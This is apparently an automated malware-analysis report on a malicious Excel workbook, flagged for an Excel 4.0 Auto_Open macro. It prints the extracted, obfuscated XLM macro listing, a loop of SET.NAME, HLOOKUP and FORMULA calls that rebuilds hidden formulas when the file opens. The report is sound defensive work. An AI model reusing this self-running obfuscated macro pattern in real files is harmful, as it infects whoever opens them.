Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ec57df9f7d3b4be4…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:47:18 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 1a0b675bd332b71d3b7cadcdf22d01c6 SHA-1: ad32eaa7f95663fcba1c2808f4a767412415516d SHA-256: ec57df9f7d3b4be4f558fed38c4b625cba9949d4a0611362a9047b2cf979c8da
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6389 bytes
SHA-256: 66d0e6d274c56c85ee00b3a5fd97b11d6e05dd5d55a99e45aca9be16ea896531
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  QWg
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B180 
' 0018     27 LABEL : Cell Value, String Constant - eOoMPepnfZmB len=0 
' 0018     21 LABEL : Cell Value, String Constant - ETkDuM len=0 
' 0018     20 LABEL : Cell Value, String Constant - Eugdx len=0 
' 0018     22 LABEL : Cell Value, String Constant - fBuQnNs len=0 
' 0018     23 LABEL : Cell Value, String Constant - fyPlwrLx len=0 
' 0018     27 LABEL : Cell Value, String Constant - geIPTqaIabPf len=0 
' 0018     23 LABEL : Cell Value, String Constant - HfcSSAFY len=0 
' 0018     25 LABEL : Cell Value, String Constant - mnANlXeqxx len=0 
' 0018     23 LABEL : Cell Value, String Constant - nnYYeHax len=0 
' 0018     20 LABEL : Cell Value, String Constant - prupo len=0 
' 0018     23 LABEL : Cell Value, String Constant - PyQJIgaP len=0 
' 0018     20 LABEL : Cell Value, String Constant - qSUMu len=0 
' 0018     25 LABEL : Cell Value, String Constant - sacAgteWzO len=0 
' 0018     26 LABEL : Cell Value, String Constant - SsSmbBoXoAS len=0 
' 0018     26 LABEL : Cell Value, String Constant - StFdINqfOVm len=0 
' 0018     22 LABEL : Cell Value, String Constant - UdPrDmp len=0 
' 0018     27 LABEL : Cell Value, String Constant - WCyejPAkhYuJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - WMYZGT len=0 
' 0018     27 LABEL : Cell Value, String Constant - YEhNEJHneVSH len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZpXIkZDt len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  QWg,B98,"SET.NAME("nnYYeHax",VALUE("0"))",""
'  QWg,B103,"SET.NAME("eOoMPepnfZmB",nnYYeHax)",""
'  QWg,B106,"SET.NAME("WMYZGT",nnYYeHax)",""
'  QWg,B110,"SET.NAME("qSUMu",COUNTA(geIPTqaIabPf))",""
'  QWg,B112,"SET.NAME("ZpXIkZDt",COUNTA(sacAgteWzO))",""
'  QWg,B114,[],""
'  QWg,B117,"SET.NAME("fBuQnNs","")",""
'  QWg,B120,"eOoMPepnfZmB",""
'  QWg,B124,"SET.NAME("HfcSSAFY",HLOOKUP("*",geIPTqaIabPf,eOoMPepnfZmB,FALSE))",""
'  QWg,B126,"fyPlwrLx",""
'  QWg,B128,"SET.NAME("YEhNEJHneVSH",nnYYeHax)",""
'  QWg,B131,[],""
'  QWg,B133,"YEhNEJHneVSH",""
'  QWg,B138,"UdPrDmp",""
'  QWg,B143,"mnANlXeqxx",""
'  QWg,B146,"Eugdx",""
'  QWg,B148,"SET.NAME("PyQJIgaP",VALUE(HLOOKUP("*",sacAgteWzO,Eugdx,FALSE)))",""
'  QWg,B152,"WCyejPAkhYuJ",""
'  QWg,B156,"fBuQnNs",""
'  QWg,B161,"WMYZGT",""
'  QWg,B166,NEXT(),""
'  QWg,B169,"SsSmbBoXoAS",""
'  QWg,B171,"SET.NAME("f",INT(T(FORMULA(T(fBuQnNs)&"",""&T(SsSmbBoXoAS)))))",""
'  QWg,B173,"prupo",""
'  QWg,B176,NEXT(),""
'  QWg,B178,RETURN(),""
'  QWg,B203,"SET.NAME("ETkDuM",B98)",""
'  QWg,B207,"geIPTqaIabPf",""
'  QWg,B210,"SET.NAME("sacAgteWzO",R56C12)",""
'  QWg,B214,"SET.NAME("prupo",222)",""
'  QWg,B217,"SET.NAME("StFdINqfOVm",2)",""
'  QWg,B221,ETkDuM(),""
'  QWg,B222,HALT(),""